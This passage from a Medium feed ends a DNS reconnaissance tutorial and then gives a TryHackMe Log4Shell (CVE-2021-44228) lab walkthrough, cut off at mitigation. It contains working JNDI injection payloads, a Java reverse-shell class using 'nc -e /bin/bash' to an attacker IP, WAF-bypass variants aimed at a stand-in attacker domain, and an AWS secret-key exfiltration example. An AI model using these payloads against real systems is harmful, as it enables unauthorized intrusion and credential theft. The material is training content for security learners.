vulnerabilities</li><li>Weak patch management</li><li>Legacy systems</li></ul><h3>Practical Example</h3><pre>dig CHAOS TXT version.bind @target.com</pre><p>Possible response:</p><pre>&quot;9.11.3-Ubuntu&quot;</pre><p>This tells us:</p><ul><li>DNS software = BIND</li><li>Version = 9.11.3</li><li>Operating system hint = Ubuntu</li></ul><h3>Why This Matters</h3><p>Professional bug bounty hunters immediately search for:</p><ul><li>Public CVEs</li><li>Exploits</li><li>Known weaknesses</li><li>Patch history</li></ul><p>Older DNS software may contain:</p><ul><li>Remote Code Execution vulnerabilities</li><li>Denial of Service issues</li><li>Cache poisoning flaws</li></ul><p>Even if the version is not exploitable, exposing it still helps attackers fingerprint the infrastructure.</p><h3>Professional Insight</h3><p>Most secure organizations hide version information.</p><p>If the version is publicly visible, it may indicate:</p><ul><li>Weak hardening</li><li>Poor operational security</li><li>Legacy infrastructure</li></ul><h3>Step 2 — Zone Transfer Testing (AXFR)</h3><p>This is one of the most important DNS tests.</p><p>Sometimes, organizations accidentally allow anyone to download the full DNS zone database.</p><p>This is called:</p><h3>Zone Transfer</h3><h3>Why Zone Transfers Exist</h3><p>DNS servers synchronize data between:</p><ul><li>Primary DNS server</li><li>Secondary DNS server</li></ul><p>The synchronization process is called:</p><pre>AXFR</pre><p>If misconfigured, anyone can request it.</p><h3>Practical Example</h3><p>First identify the nameservers:</p><pre>dig NS target.com</pre><p>Example response:</p><pre>ns1.target.com<br>ns2.target.com</pre><p>Now test zone transfer:</p><pre>dig axfr @ns1.target.com target.com</pre><h3>Dangerous Example Output</h3><pre>vpn.target.com<br>jira.target.com<br>gitlab.target.com<br>dev-api.target.com<br>staging.target.com<br>grafana.target.com</pre><h3>Why This Is Dangerous</h3><p>This is basically:</p><h3>Full infrastructure disclosure</h3><p>The attacker instantly discovers:</p><ul><li>Hidden subdomains</li><li>Internal services</li><li>Development environments</li><li>VPN portals</li><li>Admin dashboards</li></ul><p>Instead of brute forcing subdomains, the attacker receives everything directly from the DNS server.</p><h3>Real Bug Bounty Perspective</h3><p>Many organizations forget old systems like:</p><ul><li>Old staging servers</li><li>Unused admin panels</li><li>Development APIs</li><li>Legacy applications</li></ul><p>These forgotten systems are often:</p><ul><li>Weakly secured</li><li>Poorly monitored</li><li>Running outdated software</li></ul><p>This is why zone transfer findings are extremely valuable.</p><h3>Step 3 — Recursive Resolver Testing</h3><p>A recursive DNS server resolves DNS requests for users.</p><p>Example:</p><p>You ask:</p><pre>google.com</pre><p>The DNS server finds the answer for you.</p><h3>What Is Open Recursion?</h3><p>If a DNS server resolves requests for ANY internet user, it becomes:</p><h3>Open Recursive Resolver</h3><h3>Practical Example</h3><pre>dig @target.com google.com</pre><p>If the server returns Google’s IP address, recursion may be enabled.</p><h3>Why Is This Dangerous?</h3><p>Open recursive resolvers are commonly abused in:</p><h3>DNS Amplification DDoS Attacks</h3><p>Attackers send small spoofed requests and the DNS server sends large responses to victims.</p><p>This creates massive traffic amplification.</p><h3>Security Impact</h3><p>An exposed recursive resolver may indicate:</p><ul><li>Weak DNS hardening</li><li>Improper configuration</li><li>DDoS abuse possibility</li></ul><p>This is considered a serious operational security issue.</p><h3>Step 4 — ANY Queries and TXT Records</h3><p>Many DNS records contain valuable metadata.</p><p>Professional hunters always check:</p><ul><li>TXT records</li><li>SPF</li><li>DKIM</li><li>Verification entries</li></ul><h3>Practical Example</h3><pre>dig TXT target.com</pre><p>or</p><pre>dig ANY target.com</pre><h3>Why This Matters</h3><p>TXT records often reveal:</p><ul><li>Google Workspace usage</li><li>AWS services</li><li>Microsoft integrations</li><li>Atlassian services</li><li>Third-party providers</li></ul><p>Example:</p><pre>google-site-verification=<br>amazonses=<br>atlassian-domain-verification=</pre><h3>Professional Recon Mindset</h3><p>This information helps attackers understand:</p><ul><li>Cloud infrastructure</li><li>SaaS ecosystem</li><li>Email systems</li><li>External dependencies</li></ul><p>DNS is not just about domains.</p><p>It is about:</p><h3>Infrastructure intelligence</h3><h3>Step 5 — Subdomain Enumeration</h3><p>This is one of the most important recon phases in bug bounty hunting.</p><p>Most real vulnerabilities are NOT found on the main website.</p><p>They are usually found on:</p><ul><li>Forgotten subdomains</li><li>Development systems</li><li>Internal dashboards</li><li>Legacy applications</li></ul><h3>Practical Example</h3><p>Passive enumeration:</p><pre>subfinder -d target.com</pre><p>Active brute forcing:</p><pre>ffuf -u http://FUZZ.target.com -w wordlist.txt</pre><h3>High-Value Subdomains</h3><p>Professional hunters pay attention to names like:</p><pre>admin<br>vpn<br>staging<br>internal<br>grafana<br>jenkins<br>jira<br>gitlab<br>dev<br>old<br>legacy</pre><h3>Why These Matter</h3><p>Because they often expose:</p><ul><li>Admin panels</li><li>CI/CD systems</li><li>Monitoring dashboards</li><li>APIs</li><li>Internal tooling</li></ul><p>Many companies accidentally expose these services publicly.</p><h3>Step 6 — Reverse DNS Enumeration</h3><p>Reverse DNS converts:</p><pre>IP → Hostname</pre><p>instead of:</p><pre>Hostname → IP</pre><h3>Practical Example</h3><pre>dig -x IP_ADDRES</pre><h3>Why Is This Useful?</h3><p>Hostnames reveal:</p><ul><li>Geography</li><li>Environment</li><li>Server role</li><li>Internal naming conventions</li></ul><p>Example:</p><pre>vpn-mumbai-prod.target.com</pre><p>This reveals:</p><ul><li>VPN server</li><li>Mumbai region</li><li>Production environment</li></ul><h3>Professional Insight</h3><p>Naming conventions help pentesters predict:</p><ul><li>Other servers</li><li>Internal structure</li><li>Related infrastructure</li></ul><p>If one hostname exists, similar systems often exist too.</p><h3>Step 7 — Mail Server Enumeration</h3><p>Mail infrastructure is extremely valuable for attackers.</p><p>Professional bug bounty hunters always analyze:</p><ul><li>MX records</li><li>SPF</li><li>DKIM</li><li>DMARC</li></ul><h3>Practical Example</h3><pre>dig MX target.com</pre><h3>Why This Matters</h3><p>Mail servers are commonly targeted for:</p><ul><li>Phishing</li><li>Email spoofing</li><li>Credential attacks</li><li>Business Email Compromise</li></ul><h3>Weak Security Example</h3><p>Weak SPF:</p><pre>v=spf1 ~all</pre><p>Weak DMARC:</p><pre>p=none</pre><p>These may allow attackers to spoof emails more easily.</p><h3>Real-World Impact</h3><p>Poor mail security can damage:</p><ul><li>Brand reputation</li><li>Customer trust</li><li>Internal security</li></ul><h3>Step 8 — DNSSEC Analysis</h3><p>DNSSEC helps protect DNS integrity.</p><p>It prevents:</p><ul><li>DNS spoofing</li><li>Cache poisoning</li><li>Fake DNS responses</li></ul><h3>Practical Example</h3><pre>dig +dnssec target.com</pre><h3>What Pentesters Check</h3><ul><li>Weak algorithms</li><li>Broken trust chains</li><li>Expired signatures</li><li>Misconfigurations</li></ul><h3>Why This Matters</h3><p>Poor DNSSEC configuration can:</p><ul><li>Break domain resolution</li><li>Cause trust failures</li><li>Reduce DNS integrity</li></ul><h3>The Professional Bug Bounty Mindset</h3><p>Beginners usually think:</p><pre>Open port = exploit</pre><p>Professionals think:</p><pre>What information does this service reveal about the organization?</pre><p>That difference is extremely important.</p><h3>Real Bug Bounty Example Workflow</h3><p>A professional hunter may:</p><ol><li>Find 53/tcp open</li><li>Test zone transfer</li><li>Discover:</li></ol><pre>staging-api.target.com</pre><p>4. Access exposed API documentation</p><p>5. Discover authentication weakness</p><p>6. Gain unauthorized access</p><p>The DNS issue itself was NOT the final vulnerability.</p><p>DNS simply exposed the hidden attack surface.</p><p>This is how many real-world bug bounty findings happen.</p><h3>Final Thoughts</h3><p>DNS reconnaissance is one of the most powerful phases in penetration testing and bug bounty hunting.</p><p>Most beginners focus only on:</p><ul><li>Exploitation</li><li>Payloads</li><li>Vulnerabilities</li></ul><p>But professional hunters spend huge amounts of time on:</p><h3>Reconnaissance and intelligence gathering</h3><p>Because better intelligence leads to:</p><ul><li>Better attack paths</li><li>Better findings</li><li>Better understanding of the target</li></ul><p>DNS is not just a networking service.</p><p>For a pentester, DNS is:</p><h3>A map of the organization’s infrastructure</h3><p>And sometimes, that map leads directly to critical vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=931d8a0b9a20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Task 1 CVE-2021–44228 Introduction –]]></title>
            <link>https://medium.com/@vipingiribgb0/task-1-cve-2021-44228-introduction-7dc4a522907b?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dc4a522907b</guid>
            <category><![CDATA[apache]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[log4j]]></category>
            <category><![CDATA[log4shell]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Mon, 11 May 2026 09:30:34 GMT</pubDate>
            <atom:updated>2026-05-11T09:30:34.539Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6apV4NMcGKFxgAAFBXwqwA.png" /></figure><p><strong>Task 1 CVE-2021–44228 Introduction –</strong></p><p>On December 9th, 2021, the world was made aware of a new vulnerability identified as <strong>CVE-2021–44228, affecting the Java logging package log4j</strong>. This vulnerability earned a severity score of 10.0 (the most critical designation) and offers remote code trivial remote code execution on hosts engaging with software that utilizes this log4j version. This attack has been dubbed “Log4Shell”</p><p>Today,<strong> log4j version 2.15.0rc2 is available and patches this vulnerability</strong>. However, the sheer danger of this vulnerability is due to how ubiquitous the logging package is. Millions of applications as well as software providers use this package as a dependency in their own code. While you may be able to patch your own codebase using log4j, other vendors and manufacturers will still need to push their own security updates downstream. Many security researchers have likened this vulnerability to that of Shellshock by the nature of its enormous attack surface. We will see this vulnerability for years to come.</p><p>For a growing community-supported list of software and services vulnerable to CVE-2021–44228, check out this GitHub repository:</p><p><a href="https://github.com/YfryTchsGD/Log4jAttackSurface">https://github.com/YfryTchsGD/Log4jAttackSurface</a></p><p>This room will showcase how you can test for, exploit, and mitigate this vulnerability within Log4j.</p><p>While there are a number of other articles, blogs, resources and learning material surrounding CVE-2021–44228, I (the author of this exercise) am particularly partial to these:</p><p><a href="https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java">https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java</a></p><p><a href="https://log4shell.huntress.com/">https://log4shell.huntress.com/</a></p><p><a href="https://www.youtube.com/watch?v=7qoPDq41xhQ">https://www.youtube.com/watch?v=7qoPDq41xhQ</a></p><p><strong>Note from the author:</strong></p><p>Please use the information you learn in this room to better the security landscape. Test systems you own, apply patches and mitigations where appropriate, and help the whole industry recover. This is a very current and real-world threat — whether you are a penetration tester, red teamer, incident responder, security analyst, blue team member, or what have you — this exercise is to help you and the world understand and gain awareness on this widespread vulnerability. It should not be used for exploitative gain or self-serving financial incentive (I’m looking at you, beg bounty hunters)</p><p>Additionally, please bear in mind that the developers of the log4j package work on the open source project as a labor of love and passion. They are volunteer developers that maintain their project in their spare time. There should be absolutely no bashing, shame, or malice towards those individuals. As with all things, please further your knowledge so you can be a pedestal and pillar for the information security community. Educate, share, and help.</p><p><strong>Answer to the questions of this section-</strong></p><p>No Answer Needed</p><p><strong>Task 2 Reconnaissance –</strong></p><p>The target virtual machine includes software that utilizes this vulnerable log4j package, offering you a playground to explore the vulnerability.</p><p>After deploying your virtual machine, you should find that the IP address (accessible within the TryHackMe VPN or through the provided AttackBox) is 10.10.17.246.</p><p>To begin, start with basic reconnaissance to understand what ports are open on this machine. This is best done within a Linux distribution, like Kali Linux, ParrotOS, Black Arch (or any other flavor of your choosing) with the nmap command-line tool:</p><p>Run a basic nmap scan against vulnerable machine</p><p><strong>attackbox@tryhackme$ nmap -v 10.10.17.246</strong></p><p>The application present on this target specifically uses ports that may not be immediately noticed by nmap. For the “whole picture perspective,” scan all ports like so:</p><p>Scan all ports on machine via nmap</p><p><strong>attackbox@tryhackme$ nmap -v -p- 10.10.17.246</strong></p><p><strong>Answer to the questions of this section-</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/0*Xtm7q275up4e3q5P.jpeg" /></figure><p>Launched nmap –sV –v –p 8983 [target IP]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/0*KFrogj68DZOKAlBP.jpeg" /></figure><p><strong>Task 3 Discovery –</strong></p><p>This target machine is running Apache Solr 8.11.0, one example of software that is known to include this vulnerable log4j package. For the sake of showcasing this vulnerability, the application runs on Java 1.8.0_181.</p><p>Explore the web interface accessible at <a href="http://10.10.17.246:8983/">http://10.10.17.246:8983</a> and click around to get a feel for the application. For more detail on Apache Solr, please refer to their official website. <a href="https://solr.apache.org/">https://solr.apache.org/</a></p><p>This instance of Apache Solr is provisioned with no data whatsoever. It is a flat, vanilla, and absolutely minimum installation — yet at its core it is still vulnerable to this CVE-2021–44228.</p><p><strong>Answer to the questions of this section-</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/0*Hy30rPNNHUZ9wLHN.jpeg" /></figure><p><strong>Steps:</strong></p><p>1) Navigate to <a href="http://10.10.17.246:8983/">http://10.10.17.246:8983</a>, you will be greeted with below dashboard.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*3xkPFKoctfjLpvXZ.jpeg" /></figure><p>2) Find Argument set to — /var/solr/logs</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Wt4eh-zxCvgAtG4W.jpeg" /></figure><p>3) Download the task file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/0*gHcWiOMC-1z_4lPT.jpeg" /></figure><p>Unzip the downloaded file and extract it</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*8DXLj-FK9M9bQu60.jpeg" /></figure><p>Identified repeated requests</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*dqyd-4bowRzs4K9o.jpeg" /></figure><p><strong>Task 4 Proof of Concept–</strong></p><p>Note that the URL endpoint that you have just uncovered needs to be prefaced with the solr/ prefix when viewing it from the web interface. This means that you should visit:</p><p><a href="http://10.10.17.246:8983/solr/admin/cores">http://10.10.17.246:8983/solr/admin/cores</a></p><p>You also noticed that params seems to be included in the log file. At this point, you may already be beginning to see the attack vector.</p><p>The log4j package adds extra logic to logs by “parsing” entries, ultimately to enrich the data — but may additionally take actions and even evaluate code based off the entry data. This is the gist of CVE-2021–44228. Other syntax might be in fact executed just as it is entered into log files.</p><p>Some examples of this syntax are:</p><p>${sys:os.name}</p><p>${sys:user.name}</p><p>${log4j:configParentLocation}</p><p>${ENV:PATH}</p><p>${ENV:HOSTNAME}</p><p>${java:version}</p><p>You may already know the general payload to abuse this log4j vulnerability. The format of the usual syntax that takes advantage of this looks like so:</p><p>${jndi:ldap://ATTACKERCONTROLLEDHOST}</p><p>This syntax indicates that the log4j will invoke functionality from “JNDI”, or the “Java Naming and Directory Interface.” Ultimately, this can be used to access external resources, or “references,” which is what is weaponized in this attack.</p><p>Notice the ldap:// schema. This indicates that the target will reach out to an endpoint (an attacker controlled location, in the case of this attack) via the LDAP protocol. For the sake of brevity, we will not need to cover all the ins-and-outs and details of LDAP here, but know that this is something we will need to work with as we refine our attack.</p><p>For now, know that the target will in fact make a connection to an external location. This is indicated by the ATTACKERCONTROLLEDHOST placeholder in the above syntax. You, acting as the attacker in this scenario, can host a simple listener to view this connection.</p><p>The next question is, where could we enter this syntax?</p><p>Anywhere that has data logged by the application.</p><p>This is the crux of this vulnerability. Unfortunately, it is very hard to determine where the attack surface is for different applications, and ergo, what applications are in fact vulnerable. Simply seeing the presence of log4j files doesn’t clue in on the exact version number, or even where or how the application might use the package.</p><p>Think back to the previous task. You already discovered that you could supply params to the /solr/admin/cores URL, and now that you have a better understanding of how log4j works, you should understand that this is where you supply your inject syntax. You can simply supply HTTP GET variables or parameters which will then processed and parsed by log4j. All it takes is this single line of text — and that makes this vulnerability extremely easy to exploit.</p><p>Other locations you might supply this JNDI syntax:</p><p>Input boxes, user and password login forms, data entry points within applications</p><p>HTTP headers such as User-Agent, X-Forwarded-For, or other customizable headers</p><p>Any place for user-supplied data</p><p>If you would like more information on this JNDI attack vector, please review this Black Hat USA presentation from 2016.</p><p><a href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf">https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf</a></p><p><strong>Answer to the questions of this section-</strong></p><p>No Answer needed, just follow the steps mentioned in the task</p><p><strong>Steps:</strong></p><p>1) Do ifconfig to find Attacker IP address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/0*Kw7cJLputxlgqpuU.jpeg" /></figure><p>2) Start listener nc –nlvp 9999</p><p>Connection established after hitting curl</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/0*VxZtmOlMwc40aXTv.jpeg" /></figure><p>3) Curl the URL and supply params/payload</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*u80Qjm4aVIZ0wQ5-.jpeg" /></figure><p><strong>Task 5 Exploitation –</strong></p><p>At this point, you have verified the target is in fact vulnerable by seeing this connection caught in your netcat listener. However, it made an LDAP request… so all your netcat listener may have seen was non-printable characters (strange looking bytes). We can now build upon this foundation to respond with a real LDAP handler.</p><p>We will utilize a open-source and public utility to stage an “LDAP Referral Server”. This will be used to essentially redirect the initial request of the victim to another location, where you can host a secondary payload that will ultimately run code on the target. This breaks down like so:</p><p>${jndi:ldap://attackerserver:1389/Resource} -&gt; reaches out to our LDAP Referral Server</p><p>LDAP Referral Server springboards the request to a secondary <a href="http://attackerserver/resource">http://attackerserver/resource</a></p><p>The victim retrieves and executes the code present in <a href="http://attackerserver/resource">http://attackerserver/resource</a></p><p>This means we will need an HTTP server, which we could simply host with any of the following options (serving on port 8000):</p><p>python3 -m http.server</p><p>php -S 0.0.0.0:8000</p><p>(or any other busybox httpd or formal web service you might like)</p><p>If you get stuck on any of the following steps, we have a video showcasing (using the AttackBox) each step to gain remote code execution: <a href="https://youtu.be/OJRqyCHheRE">https://youtu.be/OJRqyCHheRE</a></p><p><strong>Answer to the questions of this section-</strong></p><p>No Answer needed, just follow the steps mentioned in the task</p><p><strong>Steps-</strong></p><p><strong>Remember to check java version you should be running 1.8.0_181</strong></p><p>1) Download the jdk file from <a href="https://mirror.cnop.net/jdk/linux/">https://mirror.cnop.net/jdk/linux/</a> or</p><p><a href="https://repo.huaweicloud.com/java/jdk/8u181-b13/">https://repo.huaweicloud.com/java/jdk/8u181-b13/</a></p><p>2) Now navigate to <strong>/usr/lib/jvm </strong>(if you are using your own machine/usr/lib/jvm already exists) to copy the jdk-8u181 file into it and extract it using <strong>tar xvzf</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*NY2tXBMQ0aC9bH4t.jpeg" /></figure><p>Then set the update-alternatives by hitting the below commands</p><p><strong>sudo update-alternatives — install “/usr/bin/java” “java” “/usr/lib/jvm/jdk1.8.0_181/bin/java” 1</strong></p><p><strong>sudo update-alternatives — install “/usr/bin/javac” “javac” “/usr/lib/jvm/jdk1.8.0_181/bin/javac” 1</strong></p><p><strong>sudo update-alternatives — install “/usr/bin/javaws” “javaws” “/usr/lib/jvm/jdk1.8.0_181/bin/javaws” 1</strong></p><p><strong>sudo update-alternatives — set java /usr/lib/jvm/jdk1.8.0_181/bin/java</strong></p><p><strong>sudo update-alternatives — set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac</strong></p><p><strong>sudo update-alternatives — set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws</strong></p><p>We have achieved our desired java -version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/0*4iatfYtvlO-viJZ1.jpeg" /></figure><p>Run for update — <strong>sudo apt-get update</strong></p><p>3) Now clone the repository in one of the folders : /opt ; /tmp or I used /Downloads-git clone <a href="https://github.com/mbechler/marshalsec"><strong>https://github.com/mbechler/marshalsec</strong></a></p><p><strong>cd to marshalsec </strong>folder And <strong>sudo apt install maven</strong> (this jdk 8u181 is used in compatibility with maven build)</p><p>This is all done to obtain the temporary LDAP Referral Server form the git repository</p><p>Do the below steps within marshalsec directory</p><p>4) Now do<strong> mvn clean package –DskipTests </strong>, this is a command to build marshalsec utility</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/0*2l6zhflV7Uu6awma.jpeg" /></figure><p>5) Make the listener up for LDAP Server by hitting<strong> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer </strong><a href="http://your.attacker.ip.address/#Exploit"><strong>http://YOUR.ATTACKER.IP.ADDRESS/#Exploit</strong></a></p><p>Listening on 0.0.0.0:1389</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*HnwAIbGEGbOumhsk.jpeg" /></figure><p>Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000. (put only Attacker IP and remove 8000 port in the command)</p><p>6) Make use of this code to prepare shell-</p><p><strong>public class Exploit {</strong></p><p><strong>static {</strong></p><p><strong>try {</strong></p><p><strong>java.lang.Runtime.getRuntime().exec(“nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999”);</strong></p><p><strong>} catch (Exception e) {</strong></p><p><strong>e.printStackTrace();</strong></p><p><strong>}</strong></p><p><strong>}</strong></p><p><strong>}</strong></p><p>Create a file named <strong>Exploit.java</strong> and paste the above script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/0*5YCcFFm0f56jy8IN.jpeg" /></figure><p>7) Now compile the payload using<strong> javac Exploit.java -source 8 -target 8</strong></p><p>8) Now make use of python3 HTTP server we already started; also start <strong>nc –nlvp 9999 </strong>to catch he reverse shell</p><p>9) Hit this command <strong>curl ‘http://10.10.57.41:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}&#39;</strong> and catch reverse shell</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*qMxIuZyRc-h2Tt0G.jpeg" /></figure><p><strong>Results:</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*kf2BVH-XR9CNoU7e.jpeg" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*zzF1h5fRu5rLdKwE.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/0*6GmFBWMe_P6W44fx.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/0*ODDpWSiDnt_xVOdy.jpeg" /></figure><p><strong>Task 6 Persistence –</strong></p><p>Now that you have gained a reverse shell connection on the victim machine, you can continue to take any action you might like.</p><p>To better understand this log4j vulnerability, let’s grant ourselves “better access” so we can explore the machine, analyze the affected logs, and even mitigate the vulnerability!</p><p>You may have noticed from your earlier nmap scan that SSH (port 22) was open on the host. We did not know any usernames or passwords at the point, so trying against that protocol would be useless — but now that you have code execution as a user, you could potentially add private keys or change passwords.</p><p><strong>Answer to the questions of this section-</strong></p><p>No Answer needed, just follow the steps mentioned in the task</p><p><strong>Steps:</strong></p><p>1) Check user account through <strong>whoami</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/0*j7oFeSieNST6yVUq.jpeg" /></figure><p>2) Now try stabilizing the shell by using python pty and sty raw (follow the steps mentioned)</p><p>on the reverse shell) <strong>python3 -c “import pty; pty.spawn(‘/bin/bash’)”</strong></p><p>(press on your keyboard) <strong>Ctrl+Z</strong></p><p>(press on your keyboard)<strong> Enter</strong></p><p>(on your local host) <strong>stty raw -echo</strong></p><p>(on your local host) <strong>fg</strong> (you will not see your keystrokes — trust yourself and hit Enter)</p><p>(press on your keyboard) <strong>Enter</strong></p><p>(press on your keyboard)<strong> Enter</strong></p><p>(on the reverse shell) <strong>export TERM=xterm</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/0*ec5GGvLhpo9PcIoN.jpeg" /></figure><p>3) Now do <strong>sudo</strong> privileges without using any password [means we have privileges to run as root]</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*U2DLM5LFg9ZstyuX.jpeg" /></figure><p>4) This room is providing to become root in the system by changing user password and maintaining our persistence</p><p>Connect using <strong>ssh solr@[Victim IP]</strong> {if you wish to create persistence}</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*txeY7WJO_SYIZ9oD.jpeg" /></figure><p><strong>Task 7 Detection –</strong></p><p>Unfortunately, finding applications vulnerable to CVE-2021–44228 “Log4Shell” is hard.</p><p>Detecting exploitation might be even harder, considering the unlimited amount of potential bypasses.</p><p>With that said, the information security community has seen an incredible outpouring of effort and support to develop tooling, script, and code to better constrain this threat. While this room won’t showcase every technique in detail, you can again find an enormous amount of resources online.</p><p>Below are snippets that might help either effort:</p><p><a href="https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes">https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes</a>(local, based off hashes of log4j JAR files)</p><p><a href="https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d">https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d</a> (local, based off hashes of log4j CLASS files)</p><p><a href="https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228">https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228</a> (listing of vulnerable JAR and CLASS hashes)</p><p><a href="https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1">https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1</a> (local, hunting for vulnerable log4j packages in PowerShell)</p><p><a href="https://github.com/darkarnium/CVE-2021-44228">https://github.com/darkarnium/CVE-2021-44228</a> (local, YARA rules)</p><p>As a reminder, a massive resource is available here:</p><p><a href="https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/">https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/</a></p><p><strong>Answer to the questions of this section-</strong></p><p>No Answer needed, just follow the steps mentioned in the task</p><p><strong>Steps-</strong></p><p>1) In Task 3 we did find <strong>/var/solr/logs</strong>; navigate to this directory within the compromised system</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/0*4qqoJHCT3s-Vmgbu.jpeg" /></figure><p>2) Review the log file- <strong>cat solr.log</strong>; we will find logs for our Exploit as well. We can also view other log files.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*3_G7z7o607G6diRD.jpeg" /></figure><p><strong>Task 8 Bypasses –</strong></p><p>The JNDI payload that we have showcased is the standard and “typical” syntax for performing this attack.</p><p>If you are a penetration tester or a red teamer, this syntax might be caught by web application firewalls (WAFs) or easily detected. If you are a blue teamer or incident responder, you should be actively hunting for and detecting that syntax.</p><p>Because this attack leverages log4j, the payload can ultimately access all of the same expansion, substitution, and templating tricks that the package makes available. This means that a threat actor could use any sort of tricks to hide, mask, or obfuscate the payload.</p><p>With that in mind, there are honestly an unlimited number of bypasses to sneak in this syntax. While we will not be diving into the details in this exercise, you are encouraged to play with them in this environment. Read them carefully to understand what tricks are being used to masquerade the original syntax.</p><p>There are numerous resources online that showcase some examples of these bypasses, with a few offered below:</p><p>${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}</p><p>${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}</p><p>${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}</p><p>${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}</p><p>${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}</p><p>${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}</p><p>${${::-j}ndi:rmi://attackerendpoint.com/}</p><p>Note the use of the rmi:// protocol in the last one. This is also another valid technique that can be used with the marshalsec utility — feel free to experiment!</p><p>Additionally, within the log4j engine, you can expand arbitrary environment variables (if this wasn’t already bad enough). Consider the damage that could be done even with remote code execution, but a simple LDAP connection and exfiltration of ${env:AWS_SECRET_ACCESS_KEY}</p><p>For other techniques, you are strongly encouraged t do your own research. There is a significant amount of information being shared in this Reddit thread: <a href="https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/">https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/</a></p><p>Gentle reminder, use this knowledge for good. You know what they say… great power, great responsibility and all.</p><p><strong>Answer to the questions of this section-</strong></p><p>This section is showcasing some examples of bypasses</p><p>No answer needed</p><p><strong>Task 9 Mitigation –</strong></p><p>Now that you have acted as the adversary for a little bit, please take off your hacker hat and let’s mitigate the vulnerability on this vulnerable machine! Review the mitigation techniques suggested on the 